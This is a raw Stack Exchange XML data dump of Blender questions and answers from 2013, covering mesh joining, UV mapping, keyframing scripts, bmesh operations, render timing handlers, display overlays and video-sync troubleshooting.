  <row Id="2633" PostTypeId="2" ParentId="2632" CreationDate="2013-08-28T16:03:14.890" Score="72" Body="&lt;p&gt;Remove the objects you no longer want in your model, like the interior objects. Then select all of your objects that you want in a single model and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt; then click &lt;code&gt;Join selected meshes&lt;/code&gt;. The multiple objects will now be one model you can export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further reducing the complexity of the model for better performance, you'll need to either remove more objects before joining them or you need to remove details from the objects you want to keep.&lt;/p&gt;&#xA;" OwnerUserId="115" OwnerDisplayName="Byte56" LastEditorUserId="527" LastEditDate="2013-08-28T17:05:10.827" LastActivityDate="2013-08-28T17:05:10.827" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2634" PostTypeId="2" ParentId="2629" CreationDate="2013-08-28T16:28:45.240" Score="3" Body="&lt;p&gt;Enabling the &lt;i&gt;min&lt;/i&gt; and &lt;i&gt;max&lt;/i&gt; values for the mapping does the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the coordinate for the UV is above the one&lt;br&gt;&#xA;(when a certain point is above the image on&lt;br&gt;&#xA;the UV) then it changes that value to one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the sampler will sample a pixel from the coordinate&#xA;one, which is the topmost pixel of the image (and also&#xA;the zero value is sampled from there). So for every&#xA;point that is UV-mapped above or below the image,&#xA;the color will be from the top row of the image.&#xA;The same applies to the other direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dummy solution would be to add one pixel&#xA;transparent black border to the image to achieve&#xA;a decal on the mug. But you have to use the alpha&#xA;channel to mix the image with the original color.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-05T08:48:52.597" LastActivityDate="2014-03-05T08:48:52.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2635" PostTypeId="2" ParentId="2629" CreationDate="2013-08-28T20:26:53.823" Score="5" Body="&lt;p&gt;As mentioned by &lt;a href=&quot;https://blender.stackexchange.com/a/2634/599&quot;&gt;Róbert László Páli&lt;/a&gt;, this is an artifact of the way the mapping node works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get around this using &lt;a href=&quot;https://blender.stackexchange.com/a/1272/599&quot;&gt;hjaarnio's technique&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this node setup that creates a map of where the image is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u1B74.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u1B74.png&quot; alt=&quot;Example image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Values in the 0-1 range are where the original image is, so if we use that as a mix factor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rqj7p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rqj7p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will use the Image texture only where the original image is mapped, and &lt;em&gt;Base Color&lt;/em&gt; everywhere else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base Color can be a texture or even another shader as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y2V7H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2V7H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2013-08-28T20:32:51.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2636" PostTypeId="2" ParentId="1621" CreationDate="2013-08-28T20:56:10.153" Score="9" Body="&lt;h2&gt;Keying Sets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/1622/290&quot;&gt;Fweeb said&lt;/a&gt;, the standard way of handling this is using &lt;em&gt;Keying Sets&lt;/em&gt;. Accessible in the &lt;em&gt;3D View&lt;/em&gt; under &lt;em&gt;Object &gt; Animation &gt; Insert Keyframe… (&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;)&lt;/em&gt;. There's &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Keyframes#Creating_Keyframes&quot; rel=&quot;nofollow noreferrer&quot;&gt;a limited set by default&lt;/a&gt; but custom ones can be added. For more info see: &lt;a href=&quot;https://blender.stackexchange.com/q/2063/290&quot;&gt;Can I personalize the insert keyframe menu?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Scripting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Any time a task would be repetitive to do by hand, scripting is a good choice. Here's a quick example of how to insert a keyframe to all the objects in a selection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    obj.scale[2] = 0.5 # Set Z scale.&#xA;    obj.keyframe_insert(data_path=&quot;scale&quot;, index=2) # Keyframe it.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Linked Animation datablocks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If creating the same animation on all object, you can animate just the active object and then link the action to the rest of the selection: &lt;em&gt;Object &gt; Make links… (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt;) &gt; Animation Data)&lt;/em&gt;. If you wish to later mix in some unique animation, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA#Creating_Action_Strips&quot; rel=&quot;nofollow noreferrer&quot;&gt;turn the action into a NLA strip&lt;/a&gt; before linking.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-04-19T03:56:13.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2637" PostTypeId="1" CreationDate="2013-08-28T22:20:15.377" Score="2" ViewCount="1225" Body="&lt;p&gt;I've installed my first addon, &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/bprojection&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bprojection&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried testing it out on a copy of my original work it only had the option of &lt;em&gt;add Bprojection plane&lt;/em&gt;?&lt;br&gt;&#xA;I have a UV mesh of the object ready but I do not have a Multires Bake Displacement map because I do not have a multires modifier. How do I get a displacement map and how do I get Bprojection to work like &lt;a href=&quot;http://vimeo.com/38400773#at=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~the BProjection thing is at the bottom of the tool section in the bottom right corner:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TJNdp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="290" LastEditDate="2013-08-29T17:16:16.450" LastActivityDate="2013-08-29T17:16:16.450" Title="Trouble with the Bprojection addon" Tags="&lt;add-on&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2013-09-01T16:02:18.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="2638" PostTypeId="1" AcceptedAnswerId="2639" CreationDate="2013-08-29T04:31:06.080" Score="11" ViewCount="3910" Body="&lt;p&gt;I want to untriangulate every object in my scene with this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for ob in bpy.data.objects:&#xA;    bpy.ops.mesh.tris_convert_to_quads(limit=0.9, uvs=False, vcols=False, sharp=False, materials=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work in object mode, any ideas on how I can get it working?&lt;/p&gt;&#xA;" OwnerUserId="1194" LastEditorUserId="12" LastEditDate="2013-09-13T02:55:04.867" LastActivityDate="2014-02-15T00:59:41.257" Title="Run an edit-mode operator on every object in the scene" Tags="&lt;scripting&gt;&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2639" PostTypeId="2" ParentId="2638" CreationDate="2013-08-29T04:51:34.640" Score="14" Body="&lt;p&gt;There are 2 ways you can do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Standard API&lt;/strong&gt; (bpy) - the most straightforward is to set each object in editmode and run the tool.&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Notice I'm not using &lt;code&gt;bpy.data.objects&lt;/code&gt;, This will operate on all objects in your blend file, not just your scene, instead use &lt;code&gt;bpy.context.scene.objects&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;for ob in scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        scene.objects.active = ob&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;        bpy.ops.mesh.reveal()&#xA;        bpy.ops.mesh.select_all(action='SELECT')&#xA;&#xA;        # execute any editmode tool&#xA;        bpy.ops.mesh.tris_convert_to_quads(limit=0.9,&#xA;                                           uvs=False,&#xA;                                           vcols=False,&#xA;                                           sharp=False,&#xA;                                           materials=False)&#xA;&#xA;        bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;:&#xA;You need to be careful trying to edit all objects, some may be hidden, not on a visible layer, or linked in from an external file (and can't be edited). For this reason its often better to use &lt;code&gt;context.selected_editable_objects&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;bmesh module&lt;/strong&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;) - bypass &lt;code&gt;bpy.ops&lt;/code&gt; modes and edit the mesh directly.&#xA;In this case using the &lt;code&gt;bmesh&lt;/code&gt; api. Note that this is specific to meshes, curves, metaballs etc will need to use &lt;code&gt;bpy.ops&lt;/code&gt; still since they don't have an equivalent to bmesh.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;scene = bpy.context.scene&#xA;for ob in scene.objects:&#xA;    if ob.type == 'MESH':&#xA;        me = ob.data&#xA;        bm = bmesh.new()&#xA;        bm.from_mesh(me)&#xA;&#xA;        # execute any bmesh operator&#xA;        bmesh.ops.join_triangles(bm, faces=bm.faces,&#xA;                                 limit=0.9,&#xA;                                 cmp_sharp=False,&#xA;                                 cmp_uvs=False,&#xA;                                 cmp_vcols=False,&#xA;                                 cmp_materials=False)&#xA;        bm.to_mesh(me)&#xA;        bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;:&#xA;The examples above may touch the same mesh multiple times since many objects can share the mesh, You almost &lt;em&gt;never&lt;/em&gt; want this, at worst it gives invalid results because the tool runs many times, at best the script just runs slowly and does a lot of useless calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example which ensures meshes are only edited once.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;scene = bpy.context.scene&#xA;unique_meshes = set([ob.data for ob in scene.objects if ob.type == 'MESH'])&#xA;&#xA;for me in unique_meshes:&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(me)&#xA;&#xA;    # execute any bmesh operator&#xA;    bmesh.ops.join_triangles(bm, faces=bm.faces,&#xA;                             limit=0.9,&#xA;                             cmp_sharp=False,&#xA;                             cmp_uvs=False,&#xA;                             cmp_vcols=False,&#xA;                             cmp_materials=False)&#xA;    bm.to_mesh(me)&#xA;    bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1363" LastEditDate="2014-02-15T00:59:41.257" LastActivityDate="2014-02-15T00:59:41.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2642" PostTypeId="1" CreationDate="2013-08-29T20:33:45.570" Score="2" ViewCount="1139" Body="&lt;p&gt;Is it possible to ask blender when each render tile starts/finishes rendering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. for a render time estimator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This used to be somewhat possible from the command line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in blender 2.65a the elapsed time was printed, along with what tile was being traced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fra:1 Mem:12.59M (9.89M, peak 27.51M) | Mem: 6.82M, Peak: 6.96M | Scene, RenderLayer | Elapsed: 00:04.28 | Rendering | Path Tracing Tile 10/135&#xA;Fra:1 Mem:12.59M (9.89M, peak 27.51M) | Mem: 6.82M, Peak: 6.96M | Scene, RenderLayer | Elapsed: 00:04.41 | Rendering | Path Tracing Tile 11/135&#xA;Fra:1 Mem:12.59M (9.89M, peak 27.51M) | Mem: 6.96M, Peak: 6.96M | Scene, RenderLayer | Elapsed: 00:04.56 | Rendering | Path Tracing Tile 12/135&#xA;Fra:1 Mem:12.59M (9.89M, peak 27.51M) | Mem: 6.82M, Peak: 6.96M | Scene, RenderLayer | Elapsed: 00:05.99 | Rendering | Path Tracing Tile 13/135&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;though now with later versions of blender the elapsed time is no longer printed.&lt;br&gt;&#xA;while you might be able to read blender's output with a script and get the time, is this possible with python? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get similar information to what is printed in the terminal with python?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-08-30T23:07:30.203" Title="Is it possible to get render time per tile?" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2643" PostTypeId="2" ParentId="2642" CreationDate="2013-08-29T20:50:43.730" Score="2" Body="&lt;p&gt;As far as I know, this is not currently accessible from the Python API (and I looked, because I'd love to add that to my &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Render_Time_Estimation&quot; rel=&quot;nofollow&quot;&gt;Render Time Estimation&lt;/a&gt; add-on (shameless plug, I know)).&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-08-29T20:50:43.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2644" PostTypeId="1" AcceptedAnswerId="2645" CreationDate="2013-08-30T04:34:53.900" Score="14" ViewCount="8273" Body="&lt;p&gt;Right now I'm working with a mesh, and have several lines that I've marked sharp. Now I'd like to mark seams to unwrap it, however the cyan 'sharp' lines are always on top of the red 'seam' lines, preventing me from seeing my unwrap progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I toggle the display of marked edges?&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2021-03-20T07:57:13.303" Title="How can I hide 'mark sharp' lines?" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2645" PostTypeId="2" ParentId="2644" CreationDate="2013-08-30T06:09:33.393" Score="21" Body="&lt;p&gt;Yes. While in Edit mode, have a look in the 3D View's Properties region (&lt;kbd&gt;N&lt;/kbd&gt;). There's a panel labelled &quot;Mesh Display&quot;, and within it, a section labelled &quot;Overlays&quot;. There you have an array of checkboxes to toggle the visibility of various overlays. If you want to disable sharp lines, left-click the Sharp checkbox and you should be good to go.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-08-30T06:09:33.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2646" PostTypeId="1" AcceptedAnswerId="2678" CreationDate="2013-08-30T13:10:09.570" Score="5" ViewCount="5817" Body="&lt;p&gt;I'm working on commissions and it would be wonderful to know how much time I spend with each file. Not because I charge per hour (yet), I'm merely curious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to track how many minutes with activity each file has (simply having it open in blender shouldn't count). It should be totally automatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of such a plugin or a way to go about doing this inside Blender?&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="599" LastEditDate="2013-09-01T04:41:03.327" LastActivityDate="2017-06-09T17:34:31.220" Title="Get the total time spent working on a file" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2647" PostTypeId="2" ParentId="2646" CreationDate="2013-08-30T15:01:58.903" Score="2" Body="&lt;p&gt;EDIT: An addon already exist. Check this link : &lt;a href=&quot;https://projects.blender.org/tracker/?func=detail&amp;amp;atid=467&amp;amp;aid=35700&amp;amp;group_id=153&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://projects.blender.org/tracker/?func=detail&amp;amp;atid=467&amp;amp;aid=35700&amp;amp;group_id=153&lt;/a&gt;&#xA;Thank's to &lt;a href=&quot;https://blender.stackexchange.com/users/9/greg-zaal&quot;&gt;Greg Zaal&lt;/a&gt; for giving the link :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to write a little python script which you are going to execute twice: when you open your file and when you'll close it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to store the time at which you started your blender file and the time at which you close it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For calculate the time you can use the time library and the time.time wich give you the time in second since the 1st january 1970:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import time&#xA;&#xA;start_time = time.time()&#xA;end_time = start_time - time.time()&#xA;# end_time gonna give you the time between sartTime and end_time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you want to store your time in a file with python you can use the pickle library. Here I show you how to store and re-use an object stored in a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pickle&#xA;import time&#xA;&#xA;start_time = time.time()&#xA;&#xA;with open(&quot;my_time.txt&quot;, &quot;wb&quot;) as starting_time:  # open the file in write mode&#xA;    my_pickler = pickle.Pickler(start_time)&#xA;    my_pickler.dump(start_time)  # put start_time in the my_time.txt file&#xA;# now we have stored an object in a file we are going to open a file to recover an object&#xA;&#xA;with open(&quot;my_time.txt&quot;, &quot;rb&quot;) as starting_time:  # open the file in read mode &#xA;    my_pickler = pickle.Unpickler(start_time)&#xA;    recover_time = my_unpickler.load()  # put the contenent of my_time.txt in recover_time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/!\ you file are saved in the blender directories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it can help. If you want I can try to write this little script for you.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2013-08-31T13:54:25.423" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2648" PostTypeId="1" AcceptedAnswerId="2650" CreationDate="2013-08-30T17:05:51.033" Score="8" ViewCount="10490" Body="&lt;p&gt;I have Blender 2.49b and have this mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/drWqe.png&quot; alt=&quot;front side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on the back the mesh is transparent: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ke3V7.png&quot; alt=&quot;back side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix this?&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="12" LastEditDate="2013-08-30T23:44:00.673" LastActivityDate="2013-09-01T06:33:03.587" Title="One side of an object appears normal but the other side is transparent" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2649" PostTypeId="2" ParentId="2642" CreationDate="2013-08-30T18:31:00.493" Score="3" Body="&lt;pre&gt;&lt;code&gt;from datetime import datetime&#xA;from bpy.app import handlers&#xA;&#xA;TIMER = None&#xA;&#xA;def start_timer(scene):&#xA;    global TIMER&#xA;    TIMER = datetime.now()&#xA;&#xA;def elapsed(dummy):&#xA;    print(&quot;Elapsed:&quot;, datetime.now() - TIMER)&#xA;&#xA;handlers.render_pre.append(start_timer)&#xA;handlers.render_stats.append(elapsed)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Example output:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Elapsed: 0:00:10.819869&#xA;Fra:1 Mem:7.10M (9.89M, Peak 17.07M) | Mem:1.21M, Peak:1.29M | Scene, RenderLayer | Path Tracing Tile 133/135&#xA;Elapsed: 0:00:10.863458&#xA;Fra:1 Mem:7.10M (9.89M, Peak 17.07M) | Mem:1.29M, Peak:1.29M | Scene, RenderLayer | Path Tracing Tile 134/135&#xA;Elapsed: 0:00:10.931486&#xA;Fra:1 Mem:7.10M (9.89M, Peak 17.07M) | Mem:1.21M, Peak:1.29M | Scene, RenderLayer | Path Tracing Tile 135/135&#xA;Elapsed: 0:00:11.466759&#xA;Fra:1 Mem:7.10M (9.89M, Peak 17.07M) | Mem:0.02M, Peak:1.29M | Scene, RenderLayer | Finished&#xA;Elapsed: 0:00:11.467813&#xA;Fra:1 Mem:7.08M (9.89M, Peak 17.07M) Sce: Scene Ve:0 Fa:0 La:0&#xA;Elapsed: 0:00:11.841684&#xA;Saved: /tmp/0001.png Time: 00:11.84 (Saving: 00:00.37)&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-30T23:07:30.203" LastActivityDate="2013-08-30T23:07:30.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2650" PostTypeId="2" ParentId="2648" CreationDate="2013-08-30T18:44:29.123" Score="4" Body="&lt;h1&gt;2.49b:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Try adding some thickness to your mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be currently a 2 dimensional plane, which will only have one side drawn unless &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Panels/Editing/Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;double sided faces&lt;/em&gt;&lt;/a&gt; is enabled.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2.6x:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It seems that &lt;em&gt;double sided faces&lt;/em&gt; was removed in 2.6x.&lt;br&gt;&#xA;&lt;em&gt;Backface culling&lt;/em&gt; can also cause this.&#xA;The &lt;em&gt;Backface culling&lt;/em&gt; setting is located in &lt;em&gt;3D view &gt; Properties panel &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MzNCv.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/5KQCV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-01T06:33:03.587" LastActivityDate="2013-09-01T06:33:03.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2651" PostTypeId="1" AcceptedAnswerId="2653" CreationDate="2013-08-30T21:37:05.753" Score="9" ViewCount="2061" Body="&lt;p&gt;After reading the comments under &lt;a href=&quot;https://blender.stackexchange.com/a/464/599&quot;&gt;this answer&lt;/a&gt;, I was wondering how to view this data in rendered images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking in the comment and such places with &lt;a href=&quot;http://www.gimp.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIMP&lt;/a&gt;, and &lt;code&gt;file&lt;/code&gt; but found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems this metadata is printed regardless of whether or not &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Stamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Stamp&lt;/em&gt;&lt;/a&gt; is enabled.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2016-05-09T19:11:35.247" Title="Read image metadata produced by Blender?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2652" PostTypeId="2" ParentId="2651" CreationDate="2013-08-30T22:20:10.837" Score="0" Body="&lt;p&gt;The data is printed onto the image as text. You can view the data by looking at the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to parse it, you could try OCR of some sort. It may help to set the stamp background to full opacity so that there's no image interference. OCR should then be very accurate.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-31T02:33:03.180" LastActivityDate="2013-08-31T02:33:03.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2653" PostTypeId="2" ParentId="2651" CreationDate="2013-08-31T01:00:12.413" Score="8" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.75/More_Features#Metadata_support&quot; rel=&quot;nofollow noreferrer&quot;&gt;As of 2.75&lt;/a&gt; this data is saved for all renders.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This info is written to the header of the file and only for auto saved renders (animations and command-line renders). For info on how to read the headers see the documentation for the relevant format. I don't believe GIMP has a way to view this data. As &lt;a href=&quot;https://blender.stackexchange.com/questions/463/logging-renders/464#comment-594&quot;&gt;ideasman42 said&lt;/a&gt;, for EXR files you can use &lt;code&gt;exrheader&lt;/code&gt; which is included in the &lt;a href=&quot;http://www.openexr.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenEXR&lt;/a&gt; package, for PNG and JPEG files you can use &lt;code&gt;identify -verbose&lt;/code&gt; command from the &lt;a href=&quot;http://www.imagemagick.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;ImageMagick&lt;/a&gt; package.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-06-29T08:07:58.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2654" PostTypeId="1" AcceptedAnswerId="2655" CreationDate="2013-08-31T08:50:10.100" Score="9" ViewCount="3778" Body="&lt;p&gt;When I import a movie clip into Blender's VSE, I match the resolution and framerate (1288 x 1032 at 25fps in this instance) and the audio and video strips appear to match up in the display. With AV-sync, the audio and video appear to playback in VSE in sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the rendered video file seems to be playing video at twice the speed of the audio (while at the same framerate, 25fps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is Blender outputting a file with a video track playing at twice the speed that it was imported? I am trying to reduce the size of the video's resolution - could this have an effect on it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS:  Microsoft Windows XP Pro (5.1)&#xA;MOTHERBOARD:  Gigabyte P35-DQ6&#xA;CPU:  Intel Core2 Quad CPU&#xA;MEMORY:  2046MB RAM&#xA;DIRECTX:  Direct x 9.0c&#xA;GPU:  NVIDIA GeForce GTX 560 Ti&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image of my Blender import/output settings with the VSE can be found at the following link, along with sync test .avi I'm using to test this problem and a rendered example of the test, showing the problems I'm having - &lt;a href=&quot;https://www.dropbox.com/sh/1pgn7l1sz7l8uz1/C6UHBBTdO0&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/sh/1pgn7l1sz7l8uz1/C6UHBBTdO0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently enjoying Sebastien Konig's Match Track Blend DVD and this little problem is an annoying distraction. I look forward to getting back on track. =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Rev&lt;/p&gt;&#xA;" OwnerUserId="1203" LastEditorUserId="599" LastEditDate="2013-09-01T04:43:00.710" LastActivityDate="2015-10-09T02:55:47.597" Title="Why will audio and video not sync in rendered video file?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
